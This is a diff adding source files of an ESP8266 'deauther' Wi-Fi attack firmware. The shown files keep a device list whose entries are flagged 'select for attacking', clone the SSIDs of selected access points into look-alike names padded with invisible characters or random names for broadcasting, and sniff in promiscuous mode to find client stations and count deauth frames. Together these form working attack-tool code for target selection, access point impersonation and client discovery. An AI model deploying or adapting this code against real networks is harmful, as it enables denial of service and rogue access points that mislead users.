||||
if (force) internal_remove(0);
|
||||
else {
|
||||
prntln(N_ERROR_LIST_FULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||
|
||||
internal_add(macStr, name, bssidStr, ch, selected);
|
||||
sort();
|
||||
|
||||
prnt(N_ADDED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
|
||||
if (!check(num)) return;
|
||||
|
||||
remove(num);
|
||||
|
||||
internal_add(macStr, name, bssidStr, ch, selected);
|
||||
sort();
|
||||
prnt(N_REPLACED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
prnt(N_REMOVED);
|
||||
prntln(getName(num));
|
||||
internal_remove(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::setName(int num, String name) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_add(getMac(num), name, getBssid(num), getCh(num), getSelected(num));
|
||||
|
||||
prntln(N_CHANGED_NAME);
|
||||
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::setMac(int num, String macStr) {
|
||||
if (!check(num)) return;
|
||||
|
||||
uint8_t mac[6];
|
||||
strToMac(macStr, mac);
|
||||
internal_add(mac, getName(num), getBssid(num), getCh(num), getSelected(num));
|
||||
prntln(N_CHANGED_MAC);
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::setCh(int num, uint8_t ch) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_add(getMac(num), getName(num), getBssid(num), ch, getSelected(num));
|
||||
prntln(N_CHANGED_CH);
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::setBSSID(int num, String bssidStr) {
|
||||
if (!check(num)) return;
|
||||
|
||||
uint8_t mac[6];
|
||||
strToMac(bssidStr, mac);
|
||||
internal_add(getMac(num), getName(num), mac, getCh(num), getSelected(num));
|
||||
prntln(N_CHANGED_BSSID);
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::select(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
prnt(N_SELECTED);
|
||||
prntln(getName(num));
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::select(String name) {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
if (getName(i).equals(name)) {
|
||||
select(i);
|
||||
return;
|
||||
}
|
||||
}
|
||||
prnt(N_ERROR_NOT_FOUND);
|
||||
prntln(name);
|
||||
}
|
||||
|
||||
void Names::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
prnt(N_DESELECTED);
|
||||
prntln(getName(num));
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::deselect(String name) {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
if (getName(i).equals(name)) {
|
||||
deselect(i);
|
||||
return;
|
||||
}
|
||||
}
|
||||
prnt(N_ERROR_NOT_FOUND);
|
||||
prnt(name);
|
||||
}
|
||||
|
||||
void Names::selectAll() {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) internal_select(i);
|
||||
prntln(N_SELECTED_ALL);
|
||||
}
|
||||
|
||||
void Names::deselectAll() {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) internal_deselect(i);
|
||||
prntln(N_DESELECTED_ALL);
|
||||
}
|
||||
|
||||
uint8_t* Names::getMac(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).mac;
|
||||
}
|
||||
|
||||
uint8_t* Names::getBssid(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).apBssid;
|
||||
}
|
||||
|
||||
String Names::getMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Names::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(list->get(num).mac);
|
||||
}
|
||||
|
||||
String Names::getBssidStr(int num) {
|
||||
String value;
|
||||
|
||||
if (getBssid(num) != NULL) {
|
||||
uint8_t* mac = getBssid(num);
|
||||
|
||||
for (int i = 0; i < 6; i++) {
|
||||
if (mac[i] < 0x10) value += ZERO;
|
||||
value += String(mac[i], HEX);
|
||||
|
||||
if (i < 5) value += DOUBLEPOINT;
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
String Names::getName(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return String(list->get(num).name);
|
||||
}
|
||||
|
||||
String Names::getSelectedStr(int num) {
|
||||
return b2a(getSelected(num));
|
||||
}
|
||||
|
||||
uint8_t Names::getCh(int num) {
|
||||
if (!check(num)) return 1;
|
||||
|
||||
return list->get(num).ch;
|
||||
}
|
||||
|
||||
bool Names::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
bool Names::isStation(int num) {
|
||||
return getBssid(num) != NULL;
|
||||
}
|
||||
|
||||
int Names::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
int Names::selected() {
|
||||
int num = 0;
|
||||
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (getSelected(i)) num++;
|
||||
return num;
|
||||
}
|
||||
|
||||
int Names::stations() {
|
||||
int num = 0;
|
||||
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (isStation(i)) num++;
|
||||
return num;
|
||||
}
|
||||
|
||||
bool Names::internal_check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void Names::internal_select(int num) {
|
||||
Device newDevice = list->get(num);
|
||||
|
||||
newDevice.selected = true;
|
||||
list->replace(num, newDevice);
|
||||
}
|
||||
|
||||
void Names::internal_deselect(int num) {
|
||||
Device newDevice = list->get(num);
|
||||
|
||||
newDevice.selected = false;
|
||||
list->replace(num, newDevice);
|
||||
}
|
||||
|
||||
void Names::internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected) {
|
||||
uint8_t* deviceMac = (uint8_t*)malloc(6);
|
||||
|
||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||
char* deviceName = (char*)malloc(name.length() + 1);
|
||||
uint8_t* deviceBssid = NULL;
|
||||
|
||||
name = fixUtf8(name);
|
||||
|
||||
memcpy(deviceMac, mac, 6);
|
||||
strcpy(deviceName, name.c_str());
|
||||
|
||||
if (bssid) {
|
||||
deviceBssid = (uint8_t*)malloc(6);
|
||||
memcpy(deviceBssid, bssid, 6);
|
||||
}
|
||||
|
||||
if ((ch < 1) || (ch > 14)) ch = 1;
|
||||
|
||||
Device newDevice;
|
||||
newDevice.mac = deviceMac;
|
||||
newDevice.name = deviceName;
|
||||
newDevice.apBssid = deviceBssid;
|
||||
newDevice.ch = ch;
|
||||
newDevice.selected = selected;
|
||||
|
||||
list->add(newDevice);
|
||||
}
|
||||
|
||||
void Names::internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
|
||||
uint8_t mac[6];
|
||||
|
||||
if (!strToMac(macStr, mac)) return;
|
||||
|
||||
if (bssidStr.length() == 17) {
|
||||
uint8_t bssid[6];
|
||||
strToMac(bssidStr, bssid);
|
||||
internal_add(mac, name, bssid, ch, selected);
|
||||
} else {
|
||||
internal_add(mac, name, NULL, ch, selected);
|
||||
}
|
||||
}
|
||||
|
||||
void Names::internal_remove(int num) {
|
||||
free(list->get(num).mac);
|
||||
free(list->get(num).name);
|
||||
|
||||
if (list->get(num).apBssid) free(list->get(num).apBssid);
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
void Names::internal_removeAll() {
|
||||
while (count() > 0) {
|
||||
free(list->get(0).mac);
|
||||
free(list->get(0).name);
|
||||
|
||||
if (list->get(0).apBssid) free(list->get(0).apBssid);
|
||||
list->remove(0);
|
||||
}
|
||||
}
|
||||
104
enp8266/esp8266_deauther-master/esp8266_deauther/Names.h
Executable file
104
enp8266/esp8266_deauther-master/esp8266_deauther/Names.h
Executable file
@@ -0,0 +1,104 @@
|
||||
#ifndef Names_h
|
||||
#define Names_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <FS.h>
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
|
||||
#define NAME_LIST_SIZE 25
|
||||
#define NAME_MAX_LENGTH 16
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool strToMac(String macStr, uint8_t* mac);
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern String fixUtf8(String str);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String escape(String str);
|
||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||
|
||||
class Names {
|
||||
public:
|
||||
Names();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force, String filepath);
|
||||
void sort();
|
||||
|
||||
String find(uint8_t* mac);
|
||||
int findID(uint8_t* mac);
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void select(int num);
|
||||
void select(String name);
|
||||
void deselect(int num);
|
||||
void deselect(String name);
|
||||
void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force);
|
||||
void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force);
|
||||
void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
||||
void remove(int num);
|
||||
|
||||
void printAll();
|
||||
void printSelected();
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
|
||||
uint8_t* getMac(int num);
|
||||
uint8_t* getBssid(int num);
|
||||
String getMacStr(int num);
|
||||
String getBssidStr(int num);
|
||||
String getName(int num);
|
||||
String getVendorStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t getCh(int num);
|
||||
bool getSelected(int num);
|
||||
bool isStation(int num);
|
||||
|
||||
void setName(int num, String name);
|
||||
void setMac(int num, String macStr);
|
||||
void setCh(int num, uint8_t ch);
|
||||
void setBSSID(int num, String bssidStr);
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
int stations();
|
||||
|
||||
bool check(int num);
|
||||
|
||||
private:
|
||||
String FILE_PATH = "/names.json";
|
||||
bool changed = false;
|
||||
|
||||
struct Device {
|
||||
uint8_t* mac; // mac address
|
||||
char * name; // name of saved device
|
||||
uint8_t* apBssid; // mac address of AP (if saved device is a station)
|
||||
uint8_t ch; // Wi-Fi channel of Device
|
||||
bool selected; // select for attacking
|
||||
};
|
||||
|
||||
SimpleList<Device>* list;
|
||||
|
||||
int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd);
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected);
|
||||
void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
||||
|
||||
#endif // ifndef Names_h
|
||||
314
enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.cpp
Executable file
314
enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.cpp
Executable file
@@ -0,0 +1,314 @@
|
||||
#include "SSIDs.h"
|
||||
|
||||
SSIDs::SSIDs() {
|
||||
list = new SimpleList<SSID>;
|
||||
}
|
||||
|
||||
void SSIDs::load() {
|
||||
internal_removeAll();
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
|
||||
checkFile(FILE_PATH, str(SS_JSON_DEFAULT));
|
||||
JsonObject& obj = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||
JsonArray & arr = obj.get<JsonArray>(str(SS_JSON_SSIDS));
|
||||
|
||||
for (uint32_t i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) {
|
||||
JsonArray& tmpArray = arr.get<JsonVariant>(i);
|
||||
internal_add(tmpArray.get<String>(0), tmpArray.get<bool>(1), tmpArray.get<int>(2));
|
||||
}
|
||||
|
||||
prnt(SS_LOADED);
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
|
||||
void SSIDs::load(String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void SSIDs::removeAll() {
|
||||
internal_removeAll();
|
||||
prntln(SS_CLEARED);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::save(bool force) {
|
||||
if (!force && !changed) return;
|
||||
|
||||
String buf = String(); // create buffer
|
||||
buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String(
|
||||
DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false,
|
||||
buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) +
|
||||
String(OPEN_BRACKET); // "ssids":[
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
buf = String(); // clear buffer
|
||||
|
||||
String name;
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
name = escape(getName(i));
|
||||
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name",
|
||||
buf += b2s(getWPA2(i)) + String(COMMA); // false,
|
||||
buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12]
|
||||
|
||||
if (i < c - 1) buf += COMMA; // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
prnt(SS_SAVED_IN);
|
||||
prntln(FILE_PATH);
|
||||
changed = false;
|
||||
}
|
||||
|
||||
void SSIDs::save(bool force, String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void SSIDs::update() {
|
||||
if (randomMode) {
|
||||
if (currentTime - randomTime > randomInterval * 1000) {
|
||||
prntln(SS_RANDOM_INFO);
|
||||
|
||||
for (int i = 0; i < SSID_LIST_SIZE; i++) {
|
||||
SSID newSSID;
|
||||
|
||||
if (check(i)) newSSID = list->get(i);
|
||||
|
||||
newSSID.name = String();
|
||||
newSSID.len = 32;
|
||||
|
||||
for (int i = 0; i < 32; i++) newSSID.name += char(random(32, 127));
|
||||
|
||||
newSSID.wpa2 = random(0, 2);
|
||||
|
||||
if (check(i)) list->replace(i, newSSID);
|
||||
else list->add(newSSID);
|
||||
}
|
||||
|
||||
randomTime = currentTime;
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
String SSIDs::getName(int num) {
|
||||
return check(num) ? list->get(num).name : String();
|
||||
}
|
||||
|
||||
bool SSIDs::getWPA2(int num) {
|
||||
return check(num) ? list->get(num).wpa2 : false;
|
||||
}
|
||||
|
||||
int SSIDs::getLen(int num) {
|
||||
return check(num) ? list->get(num).len : 0;
|
||||
}
|
||||
|
||||
void SSIDs::setWPA2(int num, bool wpa2) {
|
||||
SSID newSSID = list->get(num);
|
||||
|
||||
newSSID.wpa2 = wpa2;
|
||||
list->replace(num, newSSID);
|
||||
}
|
||||
|
||||
String SSIDs::getEncStr(int num) {
|
||||
if (getWPA2(num)) return "WPA2";
|
||||
else return "-";
|
||||
}
|
||||
|
||||
void SSIDs::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_remove(num);
|
||||
prnt(SS_REMOVED);
|
||||
prntln(getName(num));
|
||||
changed = true;
|
||||
}
|
||||
|
||||
String SSIDs::randomize(String name) {
|
||||
int ssidlen = name.length();
|
||||
|
||||
if (ssidlen > 32) name = name.substring(0, 32);
|
||||
|
||||
if (ssidlen < 32) {
|
||||
for (int i = ssidlen; i < 32; i++) {
|
||||
int rnd = random(3);
|
||||
|
||||
if ((i < 29) && (rnd == 0)) { // ZERO WIDTH SPACE
|
||||
name += char(0xE2);
|
||||
name += char(0x80);
|
||||
name += char(0x8B);
|
||||
i += 2;
|
||||
} else if ((i < 30) && (rnd == 1)) { // NO-BREAK SPACE
|
||||
name += char(0xC2);
|
||||
name += char(0xA0);
|
||||
i += 1;
|
||||
} else {
|
||||
name += char(0x20); // SPACE
|
||||
}
|
||||
}
|
||||
}
|
||||
return name;
|
||||
}
|
||||
|
||||
void SSIDs::add(String name, bool wpa2, int clones, bool force) {
|
||||
if (list->size() >= SSID_LIST_SIZE) {
|
||||
if (force) {
|
||||
internal_remove(0);
|
||||
} else {
|
||||
prntln(SS_ERROR_FULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE;
|
||||
|
||||
for (int i = 0; i < clones; i++) {
|
||||
internal_add(clones > 1 ? randomize(name) : name, wpa2, name.length());
|
||||
|
||||
if (list->size() > SSID_LIST_SIZE) internal_remove(0);
|
||||
}
|
||||
|
||||
prnt(SS_ADDED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::cloneSelected(bool force) {
|
||||
if (accesspoints.selected() > 0) {
|
||||
int clones = SSID_LIST_SIZE;
|
||||
|
||||
if (!force) clones -= list->size();
|
||||
clones /= accesspoints.selected();
|
||||
|
||||
int apCount = accesspoints.count();
|
||||
|
||||
for (int i = 0; i < apCount; i++) {
|
||||
if (accesspoints.getSelected(i)) add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool SSIDs::getRandom() {
|
||||
return randomMode;
|
||||
}
|
||||
|
||||
void SSIDs::replace(int num, String name, bool wpa2) {
|
||||
if (!check(num)) return;
|
||||
|
||||
int len = name.length();
|
||||
|
||||
if (len > 32) len = 32;
|
||||
SSID newSSID;
|
||||
newSSID.name = randomize(name);
|
||||
newSSID.wpa2 = wpa2;
|
||||
newSSID.len = (uint8_t)len;
|
||||
list->replace(num, newSSID);
|
||||
|
||||
prnt(SS_REPLACED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::print(int num) {
|
||||
print(num, true, false);
|
||||
}
|
||||
|
||||
void SSIDs::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(SS_TABLE_HEADER);
|
||||
prntln(SS_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE), getEncStr(num), 5));
|
||||
prntln(leftRight(String(SPACE) + getName(num), String(), 33));
|
||||
|
||||
if (footer) prntln(SS_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
void SSIDs::printAll() {
|
||||
prntln(SS_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(SS_ERROR_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
int SSIDs::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
bool SSIDs::check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void SSIDs::enableRandom(uint32_t randomInterval) {
|
||||
randomMode = true;
|
||||
SSIDs::randomInterval = randomInterval;
|
||||
prntln(SS_RANDOM_ENABLED);
|
||||
update();
|
||||
}
|
||||
|
||||
void SSIDs::disableRandom() {
|
||||
randomMode = false;
|
||||
internal_removeAll();
|
||||
prntln(SS_RANDOM_DISABLED);
|
||||
}
|
||||
|
||||
void SSIDs::internal_add(String name, bool wpa2, int len) {
|
||||
if (len > 32) {
|
||||
name = name.substring(0, 32);
|
||||
len = 32;
|
||||
}
|
||||
|
||||
name = fixUtf8(name);
|
||||
|
||||
SSID newSSID;
|
||||
newSSID.name = name;
|
||||
newSSID.wpa2 = wpa2;
|
||||
newSSID.len = (uint8_t)len;
|
||||
|
||||
list->add(newSSID);
|
||||
}
|
||||
|
||||
void SSIDs::internal_remove(int num) {
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
void SSIDs::internal_removeAll() {
|
||||
list->clear();
|
||||
}
|
||||
87
enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.h
Executable file
87
enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.h
Executable file
@@ -0,0 +1,87 @@
|
||||
#ifndef SSIDs_h
|
||||
#define SSIDs_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
#include <FS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Settings.h"
|
||||
#include "Accesspoints.h"
|
||||
|
||||
#define SSID_LIST_SIZE 60
|
||||
|
||||
extern Settings settings;
|
||||
extern uint32_t currentTime;
|
||||
extern Accesspoints accesspoints;
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void readFileToSerial(String path);
|
||||
extern String fixUtf8(String str);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String escape(String str);
|
||||
|
||||
class SSIDs {
|
||||
public:
|
||||
SSIDs();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force, String filepath);
|
||||
void update();
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void add(String name, bool wpa2, int clones, bool force);
|
||||
void cloneSelected(bool force);
|
||||
void remove(int num);
|
||||
void enableRandom(uint32_t randomInterval);
|
||||
void disableRandom();
|
||||
bool getRandom();
|
||||
|
||||
String getName(int num);
|
||||
bool getWPA2(int num);
|
||||
String getEncStr(int num);
|
||||
int getLen(int num);
|
||||
|
||||
void setWPA2(int num, bool wpa2);
|
||||
void replace(int num, String name, bool wpa2);
|
||||
|
||||
void printAll();
|
||||
void removeAll();
|
||||
|
||||
int count();
|
||||
|
||||
private:
|
||||
bool changed = false;
|
||||
bool randomMode = false;
|
||||
uint32_t randomInterval = 2000;
|
||||
uint32_t randomTime = 0;
|
||||
|
||||
struct SSID {
|
||||
String name; // SSID
|
||||
bool wpa2; // WPA2 encrypted or not
|
||||
uint8_t len; // original length (before editing it to be 32 characters)
|
||||
};
|
||||
|
||||
String FILE_PATH = "/ssids.json";
|
||||
|
||||
SimpleList<SSID>* list;
|
||||
|
||||
bool check(int num);
|
||||
String randomize(String name);
|
||||
|
||||
void internal_add(String name, bool wpa2, int add);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
||||
|
||||
#endif // ifndef SSIDs_h
|
||||
448
enp8266/esp8266_deauther-master/esp8266_deauther/Scan.cpp
Executable file
448
enp8266/esp8266_deauther-master/esp8266_deauther/Scan.cpp
Executable file
@@ -0,0 +1,448 @@
|
||||
#include "Scan.h"
|
||||
|
||||
Scan::Scan() {
|
||||
list = new SimpleList<uint16_t>;
|
||||
}
|
||||
|
||||
void Scan::sniffer(uint8_t* buf, uint16_t len) {
|
||||
if (!isSniffing()) return;
|
||||
|
||||
packets++;
|
||||
|
||||
if (len < 28) return; // drop frames that are too short to have a valid MAC header
|
||||
|
||||
if ((buf[12] == 0xc0) || (buf[12] == 0xa0)) {
|
||||
tmpDeauths++;
|
||||
return;
|
||||
}
|
||||
|
||||
// drop beacon frames, probe requests/responses and deauth/disassociation frames
|
||||
if ((buf[12] == 0x80) || (buf[12] == 0x40) || (buf[12] == 0x50) /* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return;
|
||||
|
||||
// only allow data frames
|
||||
// if(buf[12] != 0x08 && buf[12] != 0x88) return;
|
||||
|
||||
uint8_t* macTo = &buf[16];
|
||||
uint8_t* macFrom = &buf[22];
|
||||
|
||||
if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) ||
|
||||
macMulticast(macFrom)) return;
|
||||
|
||||
int accesspointNum = findAccesspoint(macFrom);
|
||||
|
||||
if (accesspointNum >= 0) {
|
||||
stations.add(macTo, accesspoints.getID(accesspointNum));
|
||||
} else {
|
||||
accesspointNum = findAccesspoint(macTo);
|
||||
|
||||
if (accesspointNum >= 0) {
|
||||
stations.add(macFrom, accesspoints.getID(accesspointNum));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int Scan::findAccesspoint(uint8_t* mac) {
|
||||
for (int i = 0; i < accesspoints.count(); i++) {
|
||||
if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
void Scan::start(uint8_t mode) {
|
||||
start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel);
|
||||
}
|
||||
|
||||
void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop,
|
||||
uint8_t channel) {
|
||||
if (mode != SCAN_MODE_OFF) stop();
|
||||
|
||||
setWifiChannel(channel);
|
||||
Scan::continueStartTime = currentTime;
|
||||
Scan::snifferPacketTime = continueStartTime;
|
||||
Scan::snifferOutputTime = continueStartTime;
|
||||
Scan::continueTime = continueTime;
|
||||
Scan::sniffTime = time;
|
||||
Scan::channelHop = channelHop;
|
||||
Scan::scanMode = mode;
|
||||
Scan::scan_continue_mode = nextmode;
|
||||
|
||||
if ((sniffTime > 0) && (sniffTime < 1000)) sniffTime = 1000;
|
||||
|
||||
// Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode,
|
||||
// time, scan_continue_mode, continueTime, channelHop, channel);
|
||||
|
||||
/* AP Scan */
|
||||
if ((mode == SCAN_MODE_APS) || (mode == SCAN_MODE_ALL)) {
|
||||
// remove old results
|
||||
accesspoints.removeAll();
|
||||
stations.removeAll();
|
||||
// start AP scan
|
||||
prntln(SC_START_AP);
|
||||
WiFi.scanNetworks(true, true);
|
||||
}
|
||||
|
||||
/* Station Scan */
|
||||
else if (mode == SCAN_MODE_STATIONS) {
|
||||
// start station scan
|
||||
if (accesspoints.count() < 1) {
|
||||
start(SCAN_MODE_ALL);
|
||||
// Serial.println(str(SC_ERROR_NO_AP));
|
||||
return;
|
||||
}
|
||||
snifferStartTime = currentTime;
|
||||
prnt(SC_START_CLIENT);
|
||||
|
||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||
else prnt(SC_INFINITELY);
|
||||
|
||||
if (!channelHop) {
|
||||
prnt(SC_ON_CHANNEL);
|
||||
prnt(wifi_channel);
|
||||
}
|
||||
prntln();
|
||||
|
||||
// enable sniffer
|
||||
stopAP();
|
||||
wifi_promiscuous_enable(true);
|
||||
}
|
||||
|
||||
else if (mode == SCAN_MODE_SNIFFER) {
|
||||
deauths = tmpDeauths;
|
||||
tmpDeauths = 0;
|
||||
snifferStartTime = currentTime;
|
||||
prnt(SS_START_SNIFFER);
|
||||
|
||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||
else prnt(SC_INFINITELY);
|
||||
prnt(SC_ON_CHANNEL);
|
||||
prntln(channelHop ? str(SC_ONE_TO) + (String)14 : (String)wifi_channel);
|
||||
|
||||
// enable sniffer
|
||||
stopAP();
|
||||
wifi_promiscuous_enable(true);
|
||||
}
|
||||
|
||||
/* Stop scan */
|
||||
else if (mode == SCAN_MODE_OFF) {
|
||||
wifi_promiscuous_enable(false);
|
||||
|
||||
if (settings.getWebInterface()) resumeAP();
|
||||
prntln(SC_STOPPED);
|
||||
save(true);
|
||||
|
||||
if (scan_continue_mode != SCAN_MODE_OFF) {
|
||||
prnt(SC_RESTART);
|
||||
prnt(int(continueTime / 1000));
|
||||
prntln(SC_CONTINUE);
|
||||
}
|
||||
}
|
||||
|
||||
/* ERROR */
|
||||
else {
|
||||
prnt(SC_ERROR_MODE);
|
||||
prntln(mode);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void Scan::update() {
|
||||
if (scanMode == SCAN_MODE_OFF) {
|
||||
